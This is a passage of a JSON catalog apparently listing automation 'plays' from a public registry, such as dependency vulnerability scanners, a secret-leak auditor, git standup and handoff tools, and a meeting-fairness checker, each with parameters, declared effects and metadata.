healthy.","example":"130"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:312ef04f15b39a97a7254f495ef5f9738b54ea90146acd5f7232a511fa16a3bb","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":8,"kinds":{"api":0,"shell":8,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":3,"width":6,"fan_out":0,"for_each_steps":0,"complexity":8,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":8}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/amanm006/rl-signal-detection@1.1.1","reference":"amanm006/rl-signal-detection@1.1.1","uri":"https://play.modiqo.ai/amanm006/rl-signal-detection@1.1.1","manifest_uri":"https://play.modiqo.ai/amanm006/rl-signal-detection@1.1.1","name":"rl-signal-detection","title":"rl-signal-detection","description":"Detect PPO/GRPO policy collapse, exploration death, and reward crashes with deterministic threshold citations.","owner":{"kind":"org","slug":"amanm006"},"registry_organization":"amanm006","tags":[],"primary_domain":"domain-uncategorized","author":"amanm006","version":"1.1.1","published_at":"2026-09-04T10:13:54.865525+00:00","visibility":"public","quality_score":0.774999976158142,"size_bytes":4144,"license":null,"stats":{"downloads":6,"installs":0},"steps":{"count":1,"names":["rl_signal_detect"]},"parameters":[],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:74da98a19766f9045dc0b8fd88088465b6f1e7e348cc306620cec15914c5145a","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":1,"kinds":{"api":0,"shell":1,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":1,"width":1,"fan_out":0,"for_each_steps":0,"complexity":1,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":1}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/playbookacademy/dep-vet@1.0.1","reference":"playbookacademy/dep-vet@1.0.1","uri":"https://play.modiqo.ai/playbookacademy/dep-vet@1.0.1","manifest_uri":"https://play.modiqo.ai/playbookacademy/dep-vet@1.0.1","name":"dep-vet","title":"dep-vet","description":"Dependency health scanner. Finds lockfiles, parses dependencies, checks for outdated packages (npm registry), and scans for known vulnerabilities (OSV.dev). Returns a deterministic verdict (HEALTHY / STALE / VULNERABLE) with prioritized recommendations. Read-only, no credentials.\n","owner":{"kind":"user","slug":"playbookacademy"},"registry_organization":"playbookacademy","tags":["domain-security","job-dependency-audit","audience-developers","effect-read-only","multi-step-dag","value-edges"],"primary_domain":"domain-security","author":"playbookacademy","version":"1.0.1","published_at":"2026-09-04T09:10:05.130923+00:00","visibility":"public","quality_score":0.524999976158142,"size_bytes":7221,"license":null,"stats":{"downloads":6,"installs":0},"steps":{"count":5,"names":["judge_deps","check_vulns","check_outdated","scan_lockfiles","parse_dependencies"]},"parameters":[{"name":"src","type":"string","required":false,"default":".","description":"Path to the project root to scan","example":"."}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:a54995fcb33bba67b785ca4f63d8bf292a0ceaa20202a5e94bd9f0e9f893caf7","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":5,"kinds":{"api":0,"shell":5,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":4,"width":2,"fan_out":0,"for_each_steps":0,"complexity":5,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":5}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/jvxplaymaker/playchain@0.1.3","reference":"jvxplaymaker/playchain@0.1.3","uri":"https://play.modiqo.ai/jvxplaymaker/playchain@0.1.3","manifest_uri":"https://play.modiqo.ai/jvxplaymaker/playchain@0.1.3","name":"playchain","title":"playchain","description":"Plans the smallest useful chain of Community Plays for a goal, showing capability coverage, handoff confidence, readiness, effects, and reasoning gaps without executing any Play.","owner":{"kind":"user","slug":"jvxplaymaker"},"registry_organization":"jvxplaymaker","tags":["rotekit","play-discovery","workflow-composition","developer-productivity"],"primary_domain":"domain-uncategorized","author":"jvxplaymaker","version":"0.1.3","published_at":"2026-09-04T03:33:44.816622+00:00","visibility":"public","quality_score":0.774999976158142,"size_bytes":26813,"license":null,"stats":{"downloads":6,"installs":0},"steps":{"count":1,"names":["plan_chain"]},"parameters":[{"name":"goal","type":"string","required":true,"description":"Workflow goal to cover with a minimal Play chain"},{"name":"root","type":"string","required":false,"default":".","description":"Project directory used to assess environment readiness"},{"name":"max_plays","type":"integer","required":false,"default":4,"description":"Maximum Plays allowed in the recommended chain, from 1 to 5"},{"name":"prefer_ready","type":"boolean","required":false,"default":true,"description":"Prefer Plays ready in the current environment when coverage is comparable"},{"name":"debug","type":"boolean","required":false,"default":false,"description":"Include search, scoring, rejection, cache, and handoff evidence"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:917220bb55147749ceb3eb5034b42341f221accf93fad0e18ad4701e60ad432f","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":1,"kinds":{"api":0,"shell":1,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":1,"width":1,"fan_out":0,"for_each_steps":0,"complexity":1,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":1}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/harshitborana75/hey-rote@0.0.7","reference":"harshitborana75/hey-rote@0.0.7","uri":"https://play.modiqo.ai/harshitborana75/hey-rote@0.0.7","manifest_uri":"https://play.modiqo.ai/harshitborana75/hey-rote@0.0.7","name":"hey-rote","title":"hey-rote","description":"Universal Daily Work Briefing & Terminal Dashboard (v0.0.6): Features zero-markdown terminal tree rendering, ANSI box header banners, workload load meters, jump-action shortcuts, standup clipboard exports, 5-line compact MOTD/tmux mode, token efficiency metrics, and shell alias installation.","owner":{"kind":"user","slug":"harshitborana75"},"registry_organization":"harshitborana75","tags":["typescript","github","calendar","tasks","linear","briefing","standup","dashboard","motd","tmux","focus-window","load-meter","token-metrics","jump-shortcuts"],"primary_domain":"domain-uncategorized","author":"harshitborana75","version":"0.0.7","published_at":"2026-09-03T17:14:16.393696+00:00","visibility":"public","quality_score":0.524999976158142,"size_bytes":6249,"license":null,"stats":{"downloads":6,"installs":0},"steps":{"count":1,"names":["calc_init"]},"parameters":[{"name":"owner","type":"string","required":false,"default":"@me","description":"GitHub owner/username handle (default: @me)"},{"name":"repo","type":"string","required":false,"description":"Optional repository context filter"},{"name":"task_provider","type":"string","required":false,"default":"auto","description":"Task provider backend (auto | google_tasks | linear | none)"},{"name":"format","type":"string","required":false,"default":"terminal","description":"Output format (terminal | markdown | json | standup)"},{"name":"compact","type":"string","required":false,"default":"false","description":"Compact 5-line MOTD / tmux status snapshot (true | false)"},{"name":"open","type":"string","required":false,"description":"Jump shortcut number to open item in browser e.g. '1' or '2'"},{"name":"alias","type":"string","required":false,"default":"false","description":"Install one-key shell alias 'hey' in ~/.zshrc or ~/.bashrc (true | false)"},{"name":"github_input","type":"string","required":false,"description":"JSON array of GitHub PRs/issues"},{"name":"calendar_input","type":"string","required":false,"description":"JSON array of Calendar events"},{"name":"tasks_input","type":"string","required":false,"description":"JSON array of Tasks"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:37d2e555bc3cae0bce95b5b0db0e0f759e742c35825b85198077649d4a90e477","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":1,"kinds":{"api":0,"shell":1,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":1,"width":1,"fan_out":0,"for_each_steps":0,"complexity":1,"apis":[],"tools":[{"name":"echo","kind":"tool","source":"declared","count":1}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/pathan-security/env-drift-sentinel@0.1.0","reference":"pathan-security/env-drift-sentinel@0.1.0","uri":"https://play.modiqo.ai/pathan-security/env-drift-sentinel@0.1.0","manifest_uri":"https://play.modiqo.ai/pathan-security/env-drift-sentinel@0.1.0","name":"env-drift-sentinel","title":"env-drift-sentinel","description":"Environment Variable Drift Sentinel and Secret Leak Auditor: scan a project for env-var usage, diff against .env docs, verify .gitignore safety and hardcoded secrets, emit a scored environment health scorecard.","owner":{"kind":"org","slug":"pathan-security"},"registry_organization":"pathan-security","tags":[],"primary_domain":"domain-uncategorized","author":"Pathananash56","version":"0.1.0","published_at":"2026-09-03T10:51:40.222598+00:00","visibility":"public","quality_score":0.524999976158142,"size_bytes":6673,"license":null,"stats":{"downloads":6,"installs":0},"steps":{"count":1,"names":["audit_scan"]},"parameters":[{"name":"root","type":"string","required":true,"description":"Absolute path to the project root to audit (read-only scan)."}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:70ce90ee4253459daa3c8e8d5363ec4ad814451211e9283070fb868cef10a7be","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":1,"kinds":{"api":0,"shell":1,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":1,"width":1,"fan_out":0,"for_each_steps":0,"complexity":1,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":1}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/shashankinguva/dependency-vulnerability-audit@0.0.1","reference":"shashankinguva/dependency-vulnerability-audit@0.0.1","uri":"https://play.modiqo.ai/shashankinguva/dependency-vulnerability-audit@0.0.1","manifest_uri":"https://play.modiqo.ai/shashankinguva/dependency-vulnerability-audit@0.0.1","name":"dependency-vulnerability-audit","title":"dependency-vulnerability-audit","description":"Scans a repo for outdated/vulnerable npm and pip dependencies, cross-references latest versions (npm registry / PyPI) and known CVEs (OSV.dev), and outputs a prioritized upgrade list — fix now for actual vulnerabilities, plan migration for major-version-behind-but-safe packages.","owner":{"kind":"user","slug":"shashankinguva"},"registry_organization":"shashankinguva","tags":["typescript","dependencies","security","vulnerability-scan"],"primary_domain":"domain-uncategorized","author":"shashankinguva","version":"0.0.1","published_at":"2026-09-03T08:48:10.654295+00:00","visibility":"public","quality_score":0.524999976158142,"size_bytes":6895,"license":null,"stats":{"downloads":6,"installs":0},"steps":{"count":1,"names":["audit"]},"parameters":[{"name":"repo_path","type":"string","required":false,"default":".","description":"Path to the repo to audit. Relative paths resolve against the play's working directory."},{"name":"max_packages","type":"string","required":false,"default":"80","description":"Maximum number of distinct direct dependencies to check (bounds npm registry/PyPI/OSV.dev calls)."}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:d95f2cb808067e5482cfecf5a9e12983fc7b87b785eb19d95f5748d2c0fdcb17","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":1,"kinds":{"api":0,"shell":1,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":1,"width":1,"fan_out":0,"for_each_steps":0,"complexity":1,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":1}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/aditya/applyradar@0.1.0","reference":"aditya/applyradar@0.1.0","uri":"https://play.modiqo.ai/aditya/applyradar@0.1.0","manifest_uri":"https://play.modiqo.ai/aditya/applyradar@0.1.0","name":"applyradar","title":"applyradar","description":"A read-only job search engine that verifies original listings, posting freshness, explicitly disclosed compensation thresholds, experience eligibility, and active application routes before returning actionable software engineering opportunities; never logs in or applies.","owner":{"kind":"user","slug":"aditya"},"registry_organization":"aditya","tags":["job-search","verification","career","read-only","india"],"primary_domain":"domain-uncategorized","author":"aditya","version":"0.1.0","published_at":"2026-09-03T05:10:54.847536+00:00","visibility":"public","quality_score":1,"size_bytes":11489,"license":null,"stats":{"downloads":6,"installs":0},"steps":{"count":1,"names":["evaluate_pipeline"]},"parameters":[{"name":"roles","type":"string","required":false,"default":"Software Engineer, Frontend Developer, Backend Developer","description":"Target roles (comma-separated)"},{"name":"locations","type":"string","required":false,"default":"Bengaluru, Remote, India","description":"Target cities/regions (comma-separated)"},{"name":"remote_policy","type":"string","required":false,"default":"allow","description":"Whether remote India roles are eligible (allow/disallow)"},{"name":"experience_max_years","type":"number","required":false,"default":2,"description":"Maximum experience in years"},{"name":"posted_within_days","type":"number","required":false,"default":7,"description":"Maximum age of postings in days"},{"name":"intern_min_inr_month","type":"number","required":false,"default":30000,"description":"Minimum monthly internship stipend in INR"},{"name":"fulltime_min_lpa","type":"number","required":false,"default":6,"description":"Minimum full-time salary in LPA"},{"name":"max_results","type":"number","required":false,"default":10,"description":"Maximum verified opportunities to return"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:e11bf939614ebfe330c041eb2703d68575bb93a55890a8bc81da2440ef82f57d","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":1,"kinds":{"api":0,"shell":1,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":1,"width":1,"fan_out":0,"for_each_steps":0,"complexity":1,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":1}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/harshitborana75/meeting-fairness@0.0.3","reference":"harshitborana75/meeting-fairness@0.0.3","uri":"https://play.modiqo.ai/harshitborana75/meeting-fairness@0.0.3","manifest_uri":"https://play.modiqo.ai/harshitborana75/meeting-fairness@0.0.3","name":"meeting-fairness","title":"meeting-fairness","description":"Stop the same person always taking the 6am call. Evaluates if your recurring meeting time is quietly unfair across timezones, accounting for DST shifts, rotation alternatives, and optional Google Calendar sync.","owner":{"kind":"user","slug":"harshitborana75"},"registry_organization":"harshitborana75","tags":["typescript","calendar","timezone","fairness","meeting","google-calendar"],"primary_domain":"domain-uncategorized","author":"harshitborana75","version":"0.0.3","published_at":"2026-09-02T17:48:12.461431+00:00","visibility":"public","quality_score":0.524999976158142,"size_bytes":5943,"license":null,"stats":{"downloads":6,"installs":0},"steps":{"count":1,"names":["calc_init"]},"parameters":[{"name":"calendar_search","type":"string","required":false,"description":"Optional Google Calendar event title or search query (e.g. 'Weekly Sync', 'Team Standup') to auto-detect recurring meeting time and attendees"},{"name":"team","type":"string","required":false,"description":"Team members roster e.g. 'Alice:America/New_York,Bob:Asia/Kolkata,Charlie:Europe/London' OR email:tz mapping"},{"name":"proposed_time","type":"string","required":false,"default":"Tuesday 15:00 America/New_York","description":"Proposed meeting time e.g. 'Tuesday 15:00 America/New_York' or 'Thursday 10:00 Europe/London'"},{"name":"recurrence","type":"string","required":false,"default":"weekly","description":"Recurrence pattern: weekly, biweekly"},{"name":"work_start","type":"string","required":false,"default":"09:00","description":"Standard work hours start (HH:MM)"},{"name":"work_end","type":"string","required":false,"default":"18:00","description":"Standard work hours end (HH:MM)"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:925fd4ff40111fea4292d14720a1e2932043f598fd6389010b790074863dfbec","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":1,"kinds":{"api":0,"shell":1,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":1,"width":1,"fan_out":0,"for_each_steps":0,"complexity":1,"apis":[],"tools":[{"name":"echo","kind":"tool","source":"declared","count":1}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/chiru/standup-from-git@0.1.0","reference":"chiru/standup-from-git@0.1.0","uri":"https://play.modiqo.ai/chiru/standup-from-git@0.1.0","manifest_uri":"https://play.modiqo.ai/chiru/standup-from-git@0.1.0","name":"standup-from-git","title":"standup-from-git","description":"What did you actually do yesterday. Walks every git repository on your machine, not one, and reads back your own commits in a window you choose, plus the repositories carrying uncommitted work you have forgotten about. Standup is daily and the answer lives scattered across six checkouts, which is why the honest answer is usually a guess. Reads nothing but git. Writes nothing anywhere, makes no network call, and needs no credential of any kind - every git command it runs is a read, and the play has no code path that modifies a repository. A repository it cannot read is named as unreadable rather than dropped, because a checkout that quietly vanishes from a standup is worse than one reported as broken, and the verify step checks that every repository discovered is accounted for in the summary rather than assuming it. A quiet day returns the outcome empty, which is a real answer and not a failure. Runs on python3 and git alone.","owner":{"kind":"user","slug":"chiru"},"registry_organization":"chiru","tags":["domain-git","job-daily-standup","audience-developers","effect-read-only"],"primary_domain":"domain-git","author":"chiru","version":"0.1.0","published_at":"2026-09-02T11:51:33.732765+00:00","visibility":"public","quality_score":1,"size_bytes":11827,"license":null,"stats":{"downloads":6,"installs":0},"steps":{"count":5,"names":["report","verify","harvest","discover","summarise"]},"parameters":[{"name":"roots","type":"string","required":false,"description":"Comma separated folders to search for git repositories. A root that does not exist is reported as missing rather than ignored.","example":"~/code,~/work"},{"name":"since","type":"string","required":false,"default":"24 hours ago","description":"How far back to look, in anything git log --since understands. This is the value that changes between runs - 24 hours ago for a daily standup, last monday for a weekly one.","example":"last monday"},{"name":"author","type":"string","required":false,"default":"","description":"Whose commits to count. Empty means the email in your git config, so the standup is about you rather than about everyone who touched the repository.","example":"you@example.com"},{"name":"include_dirty","type":"string","required":false,"default":"true","description":"Also report repositories with uncommitted changes. These are the ones with no commits to show and real work sitting in them, which is the half of a standup people forget.","values":["true","false"],"example":"false"},{"name":"max_depth","type":"string","required":false,"default":"4","description":"How deep below each root to search. Raise it if your checkouts sit further down than four levels.","example":"6"},{"name":"max_repos","type":"string","required":false,"default":"40","description":"Stop after this many repositories. Hitting the bound is reported as a partial standup, never as a complete one.","example":"100"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:56b6d83e062f44ae9ac41e7cbb34bba9448046cdbba6a1157dc914c8cb51d27e","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":5,"kinds":{"api":0,"shell":5,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":5,"width":1,"fan_out":0,"for_each_steps":0,"complexity":5,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":5}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/playbookacademy/model-price-scout@1.3.0","reference":"playbookacademy/model-price-scout@1.3.0","uri":"https://play.modiqo.ai/playbookacademy/model-price-scout@1.3.0","manifest_uri":"https://play.modiqo.ai/playbookacademy/model-price-scout@1.3.0","name":"model-price-scout","title":"model-price-scout","description":"Cheapest capable model, right now. Fetches live pricing from LiteLLM's public model catalog, classifies by capability tier (flagship / mid / fast / embedding), filters by provider and budget, ranks cheapest-per-M-input- token, and prints a decision table. Read-only, no credentials, no auth. Complements (does not replace) modiqo/hello, which surfaces pricing as one of nine subsystems.\n","owner":{"kind":"user","slug":"playbookacademy"},"registry_organization":"playbookacademy","tags":["domain-ai-ml","job-model-selection","audience-developers","effect-read-only","multi-step-dag","value-edges"],"primary_domain":"domain-ai-ml","author":"playbookacademy","version":"1.3.0","published_at":"2026-09-01T13:34:21.731718+00:00","visibility":"public","quality_score":0.450000047683716,"size_bytes":7966,"license":null,"stats":{"downloads":6,"installs":0},"steps":{"count":4,"names":["fetch_catalog","filter_models","classify_models","rank_and_format"]},"parameters":[{"name":"tier","type":"string","required":false,"default":"auto","description":"Capability tier filter","example":"mid"},{"name":"providers","type":"string","required":false,"default":"all","description":"Provider filter (comma-separated)","example":"openai,anthropic"},{"name":"max_results","type":"integer","required":false,"default":10,"description":"Maximum rows in the decision table","example":"10"},{"name":"budget_per_mtok","type":"number","required":false,"default":0,"description":"Budget ceiling per M input tokens (0 = no ceiling)","example":"1.5"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:e77a00e768d8c27141b3eec6ab9dd1cbb4fba607f6fbbcb70674a24617d22002","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":4,"kinds":{"api":0,"shell":4,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":4,"width":1,"fan_out":0,"for_each_steps":0,"complexity":4,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":4}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/chetan/git-handoff-snapshot@0.2.1","reference":"chetan/git-handoff-snapshot@0.2.1","uri":"https://play.modiqo.ai/chetan/git-handoff-snapshot@0.2.1","manifest_uri":"https://play.modiqo.ai/chetan/git-handoff-snapshot@0.2.1","name":"git-handoff-snapshot","title":"git-handoff-snapshot","description":"Creates a compact Git handoff with branch, upstream ahead/behind, HEAD, changed paths, numstat diff statistics, stash count, and recent commit metadata without reading file contents or patch hunks.","owner":{"kind":"user","slug":"chetan"},"registry_organization":"chetan","tags":["git","handoff","repository","worktree","status","agent-handoff","developer-tools","typescript"],"primary_domain":"domain-uncategorized","author":"chetan","version":"0.2.1","published_at":"2026-08-27T19:42:03.646734+00:00","visibility":"public","quality_score":0.900000035762787,"size_bytes":7012,"license":null,"stats":{"downloads":6,"installs":0},"steps":{"count":7,"names":["head_sha","repo_root","stash_list","recent_commits","staged_numstat","worktree_status","unstaged_numstat"]},"parameters":[{"name":"repo","type":"string","required":true,"description":"Absolute path to a local Git checkout on this machine (not a GitHub owner/name). Registry runs do not inherit your shell's working directory, so pass the full path rather than '.'. The run fails with a clear error when the path does not exist or is not inside a Git repository.","example":"/Users/me/src/my-repo"},{"name":"commit_count","type":"integer","required":false,"default":"5","description":"Number of most recent commits to include (git log -n).","example":"10"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:d60d83a805d741a2911e92ebb1ed5679fb941c710293c44082ba006cc8cb2e03","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":7,"kinds":{"api":0,"shell":7,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":2,"width":6,"fan_out":0,"for_each_steps":0,"complexity":7,"apis":[],"tools":[{"name":"git","kind":"tool","source":"declared","count":7}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":5,"label":"git · bash"}},{"id":"https://play.modiqo.ai/damn-rachit/clone-repo-into-folder@0.3.1","reference":"damn-rachit/clone-repo-into-folder@0.3.1","uri":"https://play.modiqo.ai/damn-rachit/clone-repo-into-folder@0.3.1","manifest_uri":"https://play.modiqo.ai/damn-rachit/clone-repo-into-folder@0.3.1","name":"clone-repo-into-folder","title":"clone-repo-into-folder","description":"Ensure a base directory exists and clone a git repo into it, skipping the clone if already present","owner":{"kind":"user","slug":"damn-rachit"},"registry_organization":"damn-rachit","tags":["git","filesystem"],"primary_domain":"domain-uncategorized","author":"damn-rachit","version":"0.3.1","published_at":"2026-08-23T10:11:15.565556+00:00","visibility":"public","quality_score":0.450000047683716,"size_bytes":4128,"license":null,"stats":{"downloads":6,"installs":0},"steps":{"count":6,"names":["mkdir","verify","clone_repo","full_target","validate_input","check_git_identity"]},"parameters":[{"name":"base_dir","type":"string","required":true,"description":"Base directory to create (with parents) and clone into. Relative paths resolve against $HOME, e.g. /root/projects/gitlab or myprojects/gitlab."},{"name":"repo_url","type":"string","required":true,"description":"Repository to clone. Accepts a GitHub repo link (https://github.com/owner/repo), an HTTPS clone URL (https://github.com/owner/repo.git), an SSH clone URL (git@github.com:owner/repo.git or ssh://git@github.com/owner/repo.git), or the GitHub CLI owner/repo shorthand (e.g. octocat/Hello-World)."}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:de294e5c3d81633721da794787dd7fe5291f18043e7207e82c50cd675fb5f2b9","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":6,"kinds":{"api":0,"shell":6,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":4,"width":2,"fan_out":0,"for_each_steps":0,"complexity":6,"apis":[],"tools":[{"name":"sh","kind":"tool","source":"declared","count":5},{"name":"ls","kind":"tool","source":"declared","count":1}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":1,"label":"node"}},{"id":"https://play.modiqo.ai/debasishg/weather-station-conformance@0.0.2","reference":"debasishg/weather-station-conformance@0.0.2","uri":"https://play.modiqo.ai/debasishg/weather-station-conformance@0.0.2","manifest_uri":"https://play.modiqo.ai/debasishg/weather-station-conformance@0.0.2","name":"weather-station-conformance","title":"weather-station-conformance","description":"Current temperature for several weather stations plus a reference station temperature and wind speed, a note when the reference is at or above a chosen threshold, a headline lifted from a live dashboard page, and a record of the host python that produced the reading.","owner":{"kind":"user","slug":"debasishg"},"registry_organization":"debasishg","tags":[],"primary_domain":"domain-uncategorized","author":"debasishg","version":"0.0.2","published_at":"2026-08-03T13:35:50.108342+00:00","visibility":"public","quality_score":0.450000047683716,"size_bytes":4318,"license":null,"stats":{"downloads":6,"installs":0},"steps":{"count":8,"names":["warm_note","host_probe","station_list","reference_now","open_dashboard","settle_dashboard","station_forecast","dashboard_headings"]},"parameters":[{"name":"warm_threshold","type":"integer","required":false,"default":"15","description":"Reference-station temperature in C at or above which a warm note is recorded"},{"name":"dashboard_url","type":"string","required":false,"default":"https://example.com","description":"Page to open and lift a headline from"}],"execution":{"adapters":[{"id":"debasishg/open-meteo","name":"open-meteo","version":null,"credential_status":"none"},{"id":"open-meteo","name":"open-meteo","version":null,"credential_status":"none"}],"browser":true,"browser_sign_in":false,"local_tools":["browser"],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:b09d8185413aa3702690c59d8c68c76ab63325b57e3f84a7d170670eb243638b","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":8,"kinds":{"api":2,"shell":3,"browser":3,"auth":0,"other":0},"distinct_kinds":3,"depth":4,"width":3,"fan_out":3,"for_each_steps":1,"complexity":24,"apis":[{"adapter":"open-meteo","steps":2,"methods":["get_v1_forecast"],"display_name":null,"host":null,"kind":"unknown","tools":null,"fingerprint":null,"source":"debasishg/open-meteo","version":"1.0.0","protocol":null,"credentials":[]}],"tools":[{"name":"browser","kind":"tool","source":"declared","count":3},{"name":"sh","kind":"tool","source":"declared","count":3},{"name":"python3","kind":"tool","source":"inferred","count":1}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":nul